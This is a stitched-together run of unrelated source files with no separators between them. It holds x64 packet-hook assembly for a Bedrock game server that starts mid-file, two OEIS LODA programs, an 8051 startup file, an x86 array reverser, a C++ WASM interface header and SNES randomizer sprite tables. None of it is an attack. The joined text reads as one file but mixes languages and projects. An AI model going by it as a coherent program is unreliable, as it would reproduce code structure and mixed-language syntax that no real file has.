evWaitGameThreadEnd:qword proc gameThreadEntry stack 28h call gameThreadStart mov rcx, gamelambdaptr call gameThreadInner call gameThreadFinish mov rcx, evWaitGameThreadEnd call SetEvent endp export def _Cnd_do_broadcast_at_thread_exit:qword export proc gameThreadHook stack 28h mov rbx, rcx mov gamelambdaptr, rcx lea rcx, gameThreadEntry call uv_async_call mov rcx, evWaitGameThreadEnd mov rdx, -1 call WaitForSingleObject ; use over 20h bytes of stack? unwind jmp _Cnd_do_broadcast_at_thread_exit endp export def bedrock_server_exe_args:qword export def bedrock_server_exe_argc:dword export def bedrock_server_exe_main:qword export def finishCallback:qword export proc wrapped_main stack 28h mov ecx, bedrock_server_exe_argc mov rdx, bedrock_server_exe_args xor r8d, r8d call bedrock_server_exe_main unwind mov rcx, finishCallback jmp uv_async_call endp export def cgateNodeLoop:qword export def updateEvTargetFire:qword export proc updateWithSleep stack 28h mov rcx, [rsp+50h] ; rsp+20h + 30h(this function stack) call cgateNodeLoop unwind jmp updateEvTargetFire endp export def removeActor:qword export proc actorDestructorHook stack 8 call GetCurrentThreadId unwind cmp rax, nodeThreadId jne skip_dtor jmp removeActor skip_dtor: ret endp export def onPacketRaw:qword export def createPacketRaw:qword export def enabledPacket:byte[256] export proc packetRawHook unwind mov edx, esi ; packetId lea rax, enabledPacket mov al, byte ptr[rax+rdx] test al, al jz _skipEvent mov rcx, rbp ; rbp mov r8, r14 ; Connection jmp onPacketRaw _skipEvent: lea rcx, [rbp+0xb8] jmp createPacketRaw endp export def onPacketBefore:qword export proc packetBeforeHook stack 28h ; original codes mov rax,qword ptr[rcx] lea r8,qword ptr[rbp+120h] lea rdx,qword ptr[rbp-20h] call qword ptr[rax+20h] lea rcx, enabledPacket mov cl, byte ptr[rcx+rsi] unwind test cl, cl jz _skipEvent mov rcx, rax ; read result mov rdx, rbp ; rbp mov r8d, esi ; packetId jmp onPacketBefore _skipEvent: ret endp export def PacketViolationHandlerHandleViolationAfter:qword export proc packetBeforeCancelHandling unwind cmp r8, 7fh jne violation mov rax, [rsp+28h] mov byte ptr[rax], 0 ret violation: ; original codes mov qword ptr[rsp+10h],rbx push rbp push rsi push rdi push r12 push r13 push r14 jmp PacketViolationHandlerHandleViolationAfter endp export def onPacketAfter:qword export proc packetAfterHook stack 28h ; orignal codes mov rax,[rcx] lea r9,[rbp+b8h] ; packet mov r8,rsi mov rdx,r14 call [rax+8] mov rax,[rbp+b8h] ; packet mov rax, [rax] ; packet.vftable call [rax+8] ; packet.getId() lea r10, enabledPacket mov al, byte ptr[r10+rax] unwind test al, al jz _skipEvent mov rcx, rbp ; rbp jmp onPacketAfter _skipEvent: ret endp export def sendOriginal:qword export def onPacketSend:qword export proc packetSendHook stack 48h mov rax, [r8] ; packet.vftable call [rax+8] ; packet.getId(), just constant return lea r10, enabledPacket mov al, byte ptr[rax+r10] test al, al jz _skipEvent mov [rsp+20h], rcx mov [rsp+28h], rdx mov [rsp+30h], r8 ; packet mov [rsp+38h], r9 call onPacketSend mov rcx, [rsp+20h] mov rdx, [rsp+28h] mov r8, [rsp+30h] mov r9, [rsp+38h] test eax, eax jnz _skipSend _skipEvent: unwind jmp sendOriginal _skipSend: unwind ret endp export def packetSendAllCancelPoint:qword export proc packetSendAllHook stack 28h mov rax, [r15] ; packet.vftable call [rax+8] ; packet.getId(), just constant return lea r10, enabledPacket mov al, byte ptr[rax+r10] test al, al jz _pass mov r8,r15 ; packet mov rdx,rbx ; NetworkIdentifier mov rcx,r14 ; NetworkHandler call onPacketSend xor eax, eax test eax, eax jz _pass mov rax, packetSendAllCancelPoint mov [rsp+28h], rax _pass: unwind ; original codes mov rax, [r15] lea rdx, [r14+250h] mov rcx, r15 jmp qword ptr[rax+18h] endp export def onPacketSendInternal:qword export def sendInternalOriginal:qword export proc packetSendInternalHook stack 48h mov rax, [r8] ; packet.vftable call [rax+8] ; packet.getId(), just constant return lea r10, enabledPacket mov al, byte ptr[rax+r10] test al, al jz _skipEvent mov [rsp+20h], rcx mov [rsp+28h], rdx mov [rsp+30h], r8 mov [rsp+38h], r9 call onPacketSendInternal mov rcx, [rsp+20h] mov rdx, [rsp+28h] mov r8, [rsp+30h] mov r9, [rsp+38h] test eax, eax jnz _skipSend _skipEvent: unwind jmp sendInternalOriginal _skipSend: unwind ret endp export def getLineProcessTask:qword export def std_cin:qword export def std_getline:qword export def std_string_ctor:qword export proc getline ; stack start keep rbx keep rsi stack 18h mov rbx, rcx _loop: ; task = new AsyncTask mov rcx, getLineProcessTask lea rdx, [sizeOfCxxString+8] call uv_async_alloc mov [rax+asyncSize+sizeOfCxxString], rbx ; task.cb = cb mov rsi, rax ; task.string.constructor(); lea rcx, [rsi+asyncSize] call std_string_ctor ; std::getline(cin, task.string, '\n'); mov rcx, std_cin mov rdx, rax mov r8, 10; LF, \n call std_getline ; task.post(); mov rcx, rsi call uv_async_post ; goto _loop; jmp _loop endp export def Core_String_toWide_string_span:qword export proc Core_String_toWide_charptr stack 38h xor eax, eax mov r8, rdx _strlen: mov al, byte ptr [rdx] add rdx, 1 test eax, eax jnz _strlen sub rdx, r8 sub rdx, 1 mov [rsp+10h], rdx ; length mov [rsp+18h], r8 ; data lea rdx, [rsp+10h] call Core_String_toWide_string_span endp
; A179896: Sum of the numbers between k := n-th nonprime and 2k (like a jump in a Sieve of Eratosthenes). ; 0,18,45,84,108,135,198,273,315,360,459,570,630,693,828,900,975,1053,1134,1305,1488,1584,1683,1785,1890,2109,2223,2340,2583,2838,2970,3105,3384,3528,3675,3825,3978,4293,4455,4620,4788,4959,5310,5673,5859,6048,6240,6435,6834,7038,7245,7668,8103,8325,8550,8778,9009,9480,9720,9963,10458,10710,10965,11223,11484,12015,12285,12558,12834,13113,13395,13680,14259,14553,14850,15453,16068,16380,16695,17334,17985,18315,18648,19323,19665,20010,20358,20709,21063,21420,21780,22143,22509,22878,23250,23625,24384,24768,25155,25938,26334,26733,27135,27540,28359,29190,29610,30033,30459,30888,31320,31755,32193,32634,33525,34428,34884,35343,35805,36270,37209,37683,38160,38640,39123,40098,40590,41085,42084,42588,43095,43605,44118,45153,45675,46200,46728,47259,48330,49413,49959,50508,51060,51615,52173,52734,53298,53865,55008,56163,56745,57330,58509,59700,60300,60903,61509,62118,62730,63345,63963,64584,65208,65835,67098,67734,68373,69015,69660,70308,70959,71613,72270,72930,73593,74928,75600,76275,77634,79005,79695,80388,81783,82485,83190,83898,84609,86040,87483,88209,88938,89670,90405,91143,91884,92628,93375,94878,95634,96393,97155,97920,99459,100233,101010,101790,102573,104148,104940,105735,106533,107334,108945,110568,111384,112203,113025,113850,115509,116343,117180,118863,120558,121410,122265,123123,123984,124848,125715,126585,127458,129213,130095,130980,131868,132759,133653,134550,135450,136353,137259,138168,139080,139995,141834,142758,143685,145548,147423,148365 cal $0,166257 ; Odd numbers not of the form prime(k) + phi(prime(k)). pow $0,2 mov $1,$0 div $1,8 mul $1,3
; A084609: Coefficients of 1/(1-4x-8x^2)^(1/2); also, a(n) is the central coefficient of (1+2x+3x^2)^n. ; Submitted by Christian Krause ; 1,2,10,44,214,1052,5284,26840,137638,710828,3692140,19266920,100932220,530479640,2795917960,14771797424,78210099718,414862155980,2204273582236,11729283976136,62496686731924,333400654676168,1780540894232440,9518573726257616,50931893950291036,272755670502799352,1461825276205528504,7840246620087714320,42077906709644383288,225968848544796817328,1214213282830784045584,6527953037293770636128,35113968026282798233030,188968843059514213731596,1017409192026869510986876,5480056966054167390033800 add $0,1 lpb $0 sub $0,1 mov $2,$1 bin $2,$0 mov $3,$4 bin $3,$1 add $1,1 mul $3,$2 add $4,2 mul $5,2 add $5,$3 lpe mov $0,$5
$NOMOD51 ;------------------------------------------------------------------------------ ; startup33.a51 ; ; Version: ; August 2004 Ver 2.0 - Updated include file names, modified comments. ; ; Dependencies: ; uPSD_5V and FREQ_OSC are used as input parameters to set up the BUSCON ; register appropriately for proper uPSD3300 operation. They are set in the ; header file, upsd3300_hardware.h, for the target processor. ; ; Description: ; This code is executed after a reset. Besides the usual C51 startup ; settings, specific uPSD3300 initializations are done here such as the ; BUSCON register. Other uPSD3300 initializations can be added here. When ; the startup code execution is complete, this code jumps to ?C_START that ; is typically the main() function in the C code. ; ; ; Copyright (c) 2005 STMicroelectronics Inc. ; ; This example demo code is provided as is and has no warranty, ; implied or otherwise. You are free to use/modify any of the provided ; code at your own risk in your applications with the expressed limitation ; of liability (see below) so long as your product using the code contains ; at least one uPSD product (device). ; ; LIMITATION OF LIABILITY: NEITHER STMicroelectronics NOR ITS VENDORS OR ; AGENTS SHALL BE LIABLE FOR ANY LOSS OF PROFITS, LOSS OF USE, LOSS OF DATA, ; INTERRUPTION OF BUSINESS, NOR FOR INDIRECT, SPECIAL, INCIDENTAL OR ; CONSEQUENTIAL DAMAGES OF ANY KIND WHETHER UNDER THIS AGREEMENT OR ; OTHERWISE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. ;------------------------------------------------------------------------------ #include "upsd3300_hardware.h" ; User-defined Power-On Initialization of Memory (Clear Memory) ; ; With the following EQU statements the initialization of memory ; at processor reset can be defined: ; ; the absolute start-address of IDATA memory is always 0 IDATALEN EQU 100H ; the length of IDATA memory in bytes. ; NOTE: The length equates for XDATALEN and PDATALEN should be changed to ; non-zero values indicating the amount of XDATA and/or PDATA ; memory to be initialized to 0x00. The start address equates ; (XDATASTART and PDATASTART) must be set to the respective starting ; addresses as mapped in PSDsoft if the memory is to be initialized. ; Note: The EEPROM Emulation demo requires XDATA to be initialized to 0 XDATASTART EQU 0H ; the absolute start-address of XDATA memory XDATALEN EQU 2000H ; the length of XDATA memory in bytes. PDATASTART EQU 0H ; the absolute start-address of PDATA memory PDATALEN EQU 0H ; the length of PDATA memory in bytes. ; Notes: The IDATA space overlaps physically the DATA and BIT areas of the ; 8051 CPU. At minimum the memory space occupied from the C51 ; run-time routines must be set to zero. ;------------------------------------------------------------------------------ ; ; Reentrant Stack Initilization ; ; The following EQU statements define the stack pointer for reentrant ; functions and initialized it: ; ; Stack Space for reentrant functions in the SMALL model. IBPSTACK EQU 0 ; set to 1 if small reentrant is used. IBPSTACKTOP EQU 0FFH+1 ; set top of stack to highest location+1. ; ; Stack Space for reentrant functions in the LARGE model. XBPSTACK EQU 0 ; set to 1 if large reentrant is used. XBPSTACKTOP EQU 0FFFFH+1; set top of stack to highest location+1. ; ; Stack Space for reentrant functions in the COMPACT model. PBPSTACK EQU 0 ; set to 1 if compact reentrant is used. PBPSTACKTOP EQU 0FFFFH+1; set top of stack to highest location+1. ; ;------------------------------------------------------------------------------ ; ; Page Definition for Using the Compact Model with 64 KByte xdata RAM ; ; The following EQU statements define the xdata page used for pdata ; variables. The EQU PPAGE must conform with the PPAGE control used ; in the linker invocation. ; PPAGEENABLE EQU 0 ; set to 1 if pdata object are used. ; PPAGE EQU 0 ; define PPAGE number. ; PPAGE_SFR DATA 0A0H ; SFR that supplies uppermost address byte ; (most 8051 variants use P2 as uppermost address byte) ; ;------------------------------------------------------------------------------ ; Standard SFR Symbols ACC DATA 0E0H B DATA 0F0H SP DATA 81H DPL DATA 82H DPH DATA 83H BUSCON DATA 9DH IE DATA 0A8H NAME ?C_STARTUP ?C_C51STARTUP SEGMENT CODE ?STACK SEGMENT IDATA RSEG ?STACK DS 1 EXTRN CODE (?C_START) PUBLIC ?C_STARTUP CSEG AT 0 ?C_STARTUP: LJMP STARTUP1 ; This is the POR reset vector ; Turbo Debug Interrupt Service routine - Do Not Remove CSEG AT 063H ; debug interrupt vector ANL 0CFH,#0FDH ; clear debug interrupt request flag nop RETI RSEG ?C_C51STARTUP STARTUP1: ; Turbo uPSD specific initialization - Set up BUSCON based on FREQ_OSC IF (uPSD_5V) > 0 ; Check if a 5V or 3V Turbo uPSD device SETUP_BUSCON_5V: IF (FREQ_OSC ) > 24000 ; PFQ CLK Frequence 25-40MHz MOV A, #0C1H ; Initialize the BUSCON register MOV BUSCON, A ; BUSCON.7 = 1, Prefetch Queue is Enabled ; BUSCON.6 = 1, Branch Cache is Enabled ; BUSCON.5, BUSCON.4= 00B - 4 PFQCLK for Xdata Write bus cycle ; BUSCON.3, BUSCON.2= 00B - 4 PFQCLK for Xdata Read bus cycle ; BUSCON.1, BUSCON.0= 01B - 4 PFQCLK for Code Fetch bus cycle ELSE ; PFQ CLK Frequence 8-24MHz MOV A, #0C0H ; Initialize the BUSCON register MOV BUSCON, A ; BUSCON.7 = 1, Prefetch Queue is Enabled ; BUSCON.6 = 1, Branch Cache is Enabled ; BUSCON.5, BUSCON.4= 00B - 4 PFQCLK for Xdata Write bus cycle ; BUSCON.3, BUSCON.2= 00B - 4 PFQCLK for Xdata Read bus cycle ; BUSCON.1, BUSCON.0= 00B - 3 PFQCLK for Code Fetch bus cycle ENDIF ELSE SETUP_BUSCON_3V: IF (FREQ_OSC ) > 24000 ; PFQ CLK Frequence 25-40MHz MOV A, #0D6H ; Initialize the BUSCON register MOV BUSCON, A ; BUSCON.7 = 1, Prefetch Queue is Enabled ; BUSCON.6 = 1, Branch Cache is Enabled ; BUSCON.5, BUSCON.4= 01B - 5 PFQCLK for Xdata Write bus cycle ; BUSCON.3, BUSCON.2= 01B - 5 PFQCLK for Xdata Read bus cycle ; BUSCON.1, BUSCON.0= 10B - 5 PFQCLK for Code Fetch bus cycle ELSE ; PFQ CLK Frequence 8-24MHz MOV A, #0C0H ; Initialize the BUSCON register MOV BUSCON, A ; BUSCON.7 = 1, Prefetch Queue is Enabled ; BUSCON.6 = 1, Branch Cache is Enabled ; BUSCON.5, BUSCON.4= 00B - 4 PFQCLK for Xdata Write bus cycle ; BUSCON.3, BUSCON.2= 00B - 4 PFQCLK for Xdata Read bus cycle ; BUSCON.1, BUSCON.0= 00B - 3 PFQCLK for Code Fetch bus cycle ENDIF ENDIF ; Other Turbo Init code goes here... MOV IE, #0xC0 ; Enable Debug Interrupt IF IDATALEN <> 0 MOV R0,#IDATALEN - 1 CLR A IDATALOOP: MOV @R0,A DJNZ R0,IDATALOOP ENDIF IF XDATALEN <> 0 MOV DPTR,#XDATASTART MOV R7,#LOW (XDATALEN) IF (LOW (XDATALEN)) <> 0 MOV R6,#(HIGH (XDATALEN)) +1 ELSE MOV R6,#HIGH (XDATALEN) ENDIF CLR A XDATALOOP: MOVX @DPTR,A INC DPTR DJNZ R7,XDATALOOP DJNZ R6,XDATALOOP ENDIF IF PPAGEENABLE <> 0 MOV PPAGE_SFR,#PPAGE ENDIF IF PDATALEN <> 0 MOV R0,#LOW (PDATASTART) MOV R7,#LOW (PDATALEN) CLR A PDATALOOP: MOVX @R0,A INC R0 DJNZ R7,PDATALOOP ENDIF IF IBPSTACK <> 0 EXTRN DATA (?C_IBP) MOV ?C_IBP,#LOW IBPSTACKTOP ENDIF IF XBPSTACK <> 0 EXTRN DATA (?C_XBP) MOV ?C_XBP,#HIGH XBPSTACKTOP MOV ?C_XBP+1,#LOW XBPSTACKTOP ENDIF IF PBPSTACK <> 0 EXTRN DATA (?C_PBP) MOV ?C_PBP,#LOW PBPSTACKTOP ENDIF MOV SP,#?STACK-1 ; This code is required if you use L51_BANK.A51 with Banking Mode 4 ; EXTRN CODE (?B_SWITCH0) ; CALL ?B_SWITCH0 ; init bank mechanism to code bank 0 LJMP ?C_START END
.386 .model flat,c .code ; Reverser(DESC, SRC, SIZE) Reverser PROC ; Routine prolog. push ebp mov ebp,esp push esi push edi ; Routine code. xor eax, eax ; EAX = 0 mov edi, [ebp+8] ; EDI = Destination array mov esi, [ebp+12] ; ESI = Source array mov ecx, [ebp+16] ; ECX = Size test ecx, ecx lea esi, [esi+ecx*4-4] ; Load the efective address (end of source address - word). pushfd ; Stores the direction flags std ; Sets direction to downwards @@: lodsd ; Load String of source downwards. mov [edi], eax ; Store wor in destination array. add edi, 4 ; Increments destination array address. dec ecx ; Decrements copy size. jnz @B ; Jump non zero to @ before popfd ; Restores direction flag. mov eax,1 ; Routine epilog. pop edi pop esi pop ebp ret Reverser ENDP END
#pragma once #include <VACio/chain/types.hpp> #include <VACio/chain/exceptions.hpp> #include "Runtime/Linker.h" #include "Runtime/Runtime.h" namespace VACio { namespace chain { class apply_context; class wasm_runtime_interface; class controller; struct wasm_exit { int32_t code = 0; }; namespace webassembly { namespace common { class intrinsics_accessor; struct root_resolver : Runtime::Resolver { //when validating is true; only allow "env" imports. Otherwise allow any imports. This resolver is used //in two cases: once by the generic validating code where we only want "env" to pass; and then second in the //wavm runtime where we need to allow linkage to injected functions root_resolver(bool validating = false) : validating(validating) {} bool validating; bool resolve(const string& mod_name, const string& export_name, IR::ObjectType type, Runtime::ObjectInstance*& out) override { try { //protect access to "private" injected functions; so for now just simply allow "env" since injected functions // are in a different module if(validating && mod_name != "env") VAC_ASSERT( false, wasm_exception, "importing from module that is not 'env': ${module}.${export}", ("module",mod_name)("export",export_name) ); // Try to resolve an intrinsic first. if(Runtime::IntrinsicResolver::singleton.resolve(mod_name,export_name,type, out)) { return true; } VAC_ASSERT( false, wasm_exception, "${module}.${export} unresolveable", ("module",mod_name)("export",export_name) ); return false; } FC_CAPTURE_AND_RETHROW( (mod_name)(export_name) ) } }; } } /** * @class wasm_interface * */ class wasm_interface { public: enum class vm_type { wavm, binaryen, }; wasm_interface(vm_type vm); ~wasm_interface(); //validates code -- does a WASM validation pass and checks the wasm against VACIO specific constraints static void validate(const controller& control, const bytes& code); //Calls apply or error on a given code void apply(const digest_type& code_id, const shared_string& code, apply_context& context); private: unique_ptr<struct wasm_interface_impl> my; friend class VACio::chain::webassembly::common::intrinsics_accessor; }; } } // VACio::chain namespace VACio{ namespace chain { std::istream& operator>>(std::istream& in, wasm_interface::vm_type& runtime); }} FC_REFLECT_ENUM( VACio::chain::wasm_interface::vm_type, (wavm)(binaryen) )
;================================================================================ ; Utility Functions ;================================================================================ !PROGRESSIVE_SHIELD = "$7EF416" ; ss-- ---- !BEE_TRAP_DISGUISE = "$7F5404" ;-------------------------------------------------------------------------------- ; GetSpriteTile ; in: A - Loot ID ; out: A - Sprite GFX ID ;-------------------------------------------------------------------------------- GetSpriteID: ;JSR AttemptItemSubstitution CMP.b #$16 : BEQ .bottle ; Bottle CMP.b #$2B : BEQ .bottle ; Red Potion w/bottle CMP.b #$2C : BEQ .bottle ; Green Potion w/bottle CMP.b #$2D : BEQ .bottle ; Blue Potion w/bottle CMP.b #$3C : BEQ .bottle ; Bee w/bottle CMP.b #$3D : BEQ .bottle ; Fairy w/bottle CMP.b #$48 : BEQ .bottle ; Gold Bee w/bottle CMP.b #$6D : BEQ .server_F0 ; Server Request F0 CMP.b #$6E : BEQ .server_F1 ; Server Request F1 CMP.b #$6F : BEQ .server_F2 ; Server Request F2 CMP.b #$5A : BEQ .bee_trap CMP.b #$B0 : BEQ .bee_trap BRA .normal .bee_trap LDA !BEE_TRAP_DISGUISE JSL.l GetSpriteID RTL .bottle PHA : JSR.w CountBottles : CMP.l BottleLimit : !BLT + LDA !MULTIWORLD_SPRITEITEM_PLAYER_ID : BNE + PLA : LDA.l BottleLimitReplacement JSL.l GetSpriteID RTL + PLA : BRA .normal .server_F0 JSL.l ItemVisualServiceRequest_F0 BRA .normal .server_F1 JSL.l ItemVisualServiceRequest_F1 BRA .normal .server_F2 JSL.l ItemVisualServiceRequest_F2 BRA .normal .normal PHX PHB : PHK : PLB ;-------- TAX : LDA.l .gfxSlots, X ; look up item gfx PLB : PLX CMP.b #$F8 : !BGE .specialHandling RTL .specialHandling CMP.b #$F9 : BNE ++ ; Progressive Magic LDA.l $7EF37B : BNE +++ LDA.b #$3B : RTL ; Half Magic +++ LDA.b #$3C : RTL ; Quarter Magic ++ CMP.b #$FA : BNE ++ ; RNG Item (Single) JSL.l GetRNGItemSingle : JMP GetSpriteID ++ CMP.b #$FB : BNE ++ ; RNG Item (Multi) JSL.l GetRNGItemMulti : JMP GetSpriteID ++ CMP.b #$FD : BNE ++ ; Progressive Armor LDA !MULTIWORLD_SPRITEITEM_PLAYER_ID : BNE + LDA $7EF35B : CMP.l ProgressiveArmorLimit : !BLT + ; Progressive Armor Limit LDA.l ProgressiveArmorReplacement JSL.l GetSpriteID RTL + LDA.b #$04 : RTL ++ CMP.b #$FE : BNE ++ ; Progressive Sword LDA !MULTIWORLD_SPRITEITEM_PLAYER_ID : BNE .skipswordlimit LDA $7EF359 CMP.l ProgressiveSwordLimit : !BLT + ; Progressive Sword Limit LDA.l ProgressiveSwordReplacement JSL.l GetSpriteID RTL .skipswordlimit : LDA $7EF359 + : CMP.b #$FF : BNE + ; Swordless LDA.b #$43 : RTL + : CMP.b #$00 : BNE + ; No Sword LDA.b #$43 : RTL + : CMP.b #$01 : BNE + ; Fighter Sword LDA.b #$44 : RTL + : CMP.b #$02 : BNE + ; Master Sword LDA.b #$45 : RTL + ; CMP.b #$03 : BNE + ; Tempered Sword LDA.b #$46 : RTL + ++ : CMP.b #$FF : BNE ++ ; Progressive Shield LDA !MULTIWORLD_SPRITEITEM_PLAYER_ID : BNE .skipshieldlimit LDA !PROGRESSIVE_SHIELD : AND #$C0 : LSR #6 CMP.l ProgressiveShieldLimit : !BLT + ; Progressive Shield Limit LDA.l ProgressiveShieldReplacement JSL.l GetSpriteID RTL .skipshieldlimit : LDA !PROGRESSIVE_SHIELD : AND #$C0 : LSR #6 + : CMP.b #$00 : BNE + ; No Shield LDA.b #$2D : RTL + : CMP.b #$01 : BNE + ; Fighter Shield LDA.b #$20 : RTL + ; Everything Else LDA.b #$2E : RTL ++ : CMP.b #$F8 : BNE ++ ; Progressive Bow LDA !MULTIWORLD_SPRITEITEM_PLAYER_ID : BNE .skipbowlimit LDA $7EF340 : INC : LSR CMP.l ProgressiveBowLimit : !BLT + LDA.l ProgressiveBowReplacement JSL.l GetSpriteID RTL .skipbowlimit : LDA $7EF340 : INC : LSR + : CMP.b #$00 : BNE + ; No Bow LDA.b #$29 : RTL + ; Any Bow LDA.b #$2A : RTL ++ RTL ;DATA - Loot Identifier to Sprite ID { .gfxSlots db $06, $44, $45, $46, $2D, $20, $2E, $09 db $09, $0A, $08, $05, $10, $0B, $2C, $1B db $1A, $1C, $14, $19, $0C, $07, $1D, $2F db $07, $15, $12, $0D, $0D, $0E, $11, $17 db $28, $27, $04, $04, $0F, $16, $03, $13 db $01, $1E, $10, $00, $00, $00, $00, $00 db $00, $30, $22, $21, $24, $24, $24, $23 db $23, $23, $29, $2A, $2C, $2B, $03, $03 db $34, $35, $31, $33, $02, $32, $36, $37 db $2C, $43, $0C, $38, $39, $3A, $F9, $3C ; db $2C, $06, $0C, $38, $FF, $FF, $FF, $FF ;5x db $44 ; Safe Master Sword db $3D, $3E, $3F, $40 ; Bomb & Arrow +5/+10 db $2C, $00, $00 ; 3x Programmable Item db $41 ; Upgrade-Only Silver Arrows db $24 ; 1 Rupoor db $47 ; Null Item db $48, $48, $48 ; Red, Blue & Green Clocks db $FE, $FF ; Progressive Sword & Shield ;6x db $FD, $0D ; Progressive Armor & Gloves db $FA, $FB ; RNG Single & Multi db $F8, $F8 ; Progressive Bow x2 db $FF, $FF, $FF, $FF ; Unused db $49, $4A, $49 ; Goal Item Single, Multi & Alt Multi db $39, $39, $39 ; Server Request F0, F1, F2 ;7x db $21, $21, $21, $21, $21, $21, $21, $21, $21, $21, $21, $21, $21, $21, $21, $21 ; Free Map ;8x db $16, $16, $16, $16, $16, $16, $16, $16, $16, $16, $16, $16, $16, $16, $16, $16 ; Free Compass ;9x db $22, $22, $22, $22, $22, $22, $22, $22, $22, $22, $22, $22, $22, $22, $22, $22 ; Free Big Key ;Ax db $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F ; Free Small Key db $2C ; Bee Trap db $2B, $2C, $3B, $42, $42; Fae, Bee, Magic Refill, Apple, Apple (fake) db $49, $49, $49, $49, $49, $49, $49, $49, $49, $49 ; Unused db $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49 ; Unused db $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49 ; Unused db $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49 ; Unused db $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49, $49 ; Reserved } ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- ; GetSpritePalette ; in: A - Loot ID ; out: A - Palette ;-------------------------------------------------------------------------------- GetSpritePalette: ;JSR AttemptItemSubstitution CMP.b #$16 : BEQ .bottle ; Bottle CMP.b #$2B : BEQ .bottle ; Red Potion w/bottle CMP.b #$2C : BEQ .bottle ; Green Potion w/bottle CMP.b #$2D : BEQ .bottle ; Blue Potion w/bottle CMP.b #$3C : BEQ .bottle ; Bee w/bottle CMP.b #$3D : BEQ .bottle ; Fairy w/bottle CMP.b #$48 : BEQ .bottle ; Gold Bee w/bottle CMP.b #$5A : BEQ .bee_trap CMP.b #$B0 : BEQ .bee_trap BRA .notBottle .bee_trap ;JSL.l GetRandomInt : AND.b #$3F ; select random value LDA !BEE_TRAP_DISGUISE JSL.l GetSpritePalette RTL .bottle PHA : JSR.w CountBottles : CMP.l BottleLimit : !BLT + PLA : LDA.l BottleLimitReplacement JSL.l GetSpritePalette RTL + PLA : .notBottle PHX PHB : PHK : PLB ;-------- TAX : LDA.l .gfxPalettes, X ; look up item gfx PLB : PLX CMP.b #$F8 : !BGE .specialHandling RTL .specialHandling CMP.b #$FD : BNE ++ ; Progressive Sword LDA $7EF359 CMP.l ProgressiveSwordLimit : !BLT + ; Progressive Sword Limit LDA.l ProgressiveSwordReplacement JSL.l GetSpritePalette RTL + : CMP.b #$00 : BNE + ; No Sword LDA.b #$04 : RTL + : CMP.b #$01 : BNE + ; Fighter Sword LDA.b #$04 : RTL + : CMP.b #$02 : BNE + ; Master Sword LDA.b #$02 : RTL + ; Everything Else LDA.b #$08 : RTL ++ : CMP.b #$FE : BNE ++ ; Progressive Shield LDA !PROGRESSIVE_SHIELD : AND #$C0 : LSR #6 CMP.l ProgressiveShieldLimit : !BLT + ; Progressive Shield Limit LDA.l ProgressiveShieldReplacement JSL.l GetSpritePalette RTL + : CMP.b #$00 : BNE + ; No Shield LDA.b #$04 : RTL + : CMP.b #$01 : BNE + ; Fighter Shield LDA.b #$02 : RTL + ; Everything Else LDA.b #$08 : RTL ++ : CMP.b #$FF : BNE ++ ; Progressive Armor LDA $7EF35B : CMP.l ProgressiveArmorLimit : !BLT + ; Progressive Armor Limit LDA.l ProgressiveArmorReplacement JSL.l GetSpritePalette RTL + : CMP.b #$00 : BNE + ; Green Tunic LDA.b #$04 : RTL + ; Everything Else LDA.b #$02 : RTL ++ : CMP.b #$FC : BNE ++ ; Progressive Gloves LDA $7EF354 : BNE + ; No Gloves LDA.b #$02 : RTL + ; Everything Else LDA.b #$08 : RTL ++ : CMP.b #$F8 : BNE ++ ; Progressive Bow LDA $7EF354 : BNE + ; No Bow LDA.b #$08 : RTL + ; Any Bow LDA.b #$02 : RTL ++ : CMP.b #$FA : BNE ++ ; RNG Item (Single) JSL.l GetRNGItemSingle : JMP GetSpritePalette ++ : CMP.b #$FB : BNE ++ ; RNG Item (Multi) JSL.l GetRNGItemMulti : JMP GetSpritePalette ++ RTL ;DATA - Loot Identifier to Sprite Palette { .gfxPalettes db $00, $04, $02, $08, $04, $02, $08, $02 db $04, $02, $02, $02, $04, $04, $04, $08 db $08, $08, $02, $02, $04, $02, $02, $02 db $04, $02, $04, $02, $08, $08, $04, $02 db $0A, $02, $04, $02, $04, $04, $00, $04 db $04, $08, $02, $02, $08, $04, $02, $08 db $04, $04, $08, $08, $08, $04, $02, $08 db $02, $04, $08, $02, $04, $04, $02, $02 db $08, $08, $02, $04, $04, $08, $08, $08 db $04, $04, $04, $02, $08, $08, $08, $08 ; db $04, $0A, $04, $02, $FF, $FF, $FF, $FF db $04 ; Safe Master Sword db $08, $08, $08, $08 ; Bomb & Arrow +5/+10 db $04, $00, $00 ; Programmable Items 1-3 db $02 ; Upgrade-Only Silver Arrows db $06 ; 1 Rupoor db $02 ; Null Item db $02, $04, $08 ; Red, Blue & Green Clocks db $FD, $FE, $FF, $FC ; Progressive Sword, Shield, Armor & Gloves db $FA, $FB ; RNG Single & Multi db $F8, $F8 ; Progressive Bow db $00, $00, $00, $00 ; Unused db $08, $08, $08 ; Goal Item Single, Multi & Alt Multi db $04, $04, $04 ; Server Request F0, F1, F2 db $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08 ; Free Map db $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04 ; Free Compass ;db $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08 ; *EVENT* db $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08 ; Free Big Key db $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08 ; Free Small Key db $04 ; Bee Trap db $08, $02, $08, $08, $08; Fae, Bee, Jar, Apple, Apple (fake) db $08, $08, $08, $08, $08, $08, $08, $08, $08, $08 ; Unused db $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08 ; Unused db $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08 ; Unused db $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08 ; Unused db $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08 ; Unused } ;-------------------------------------------------------------------------------- 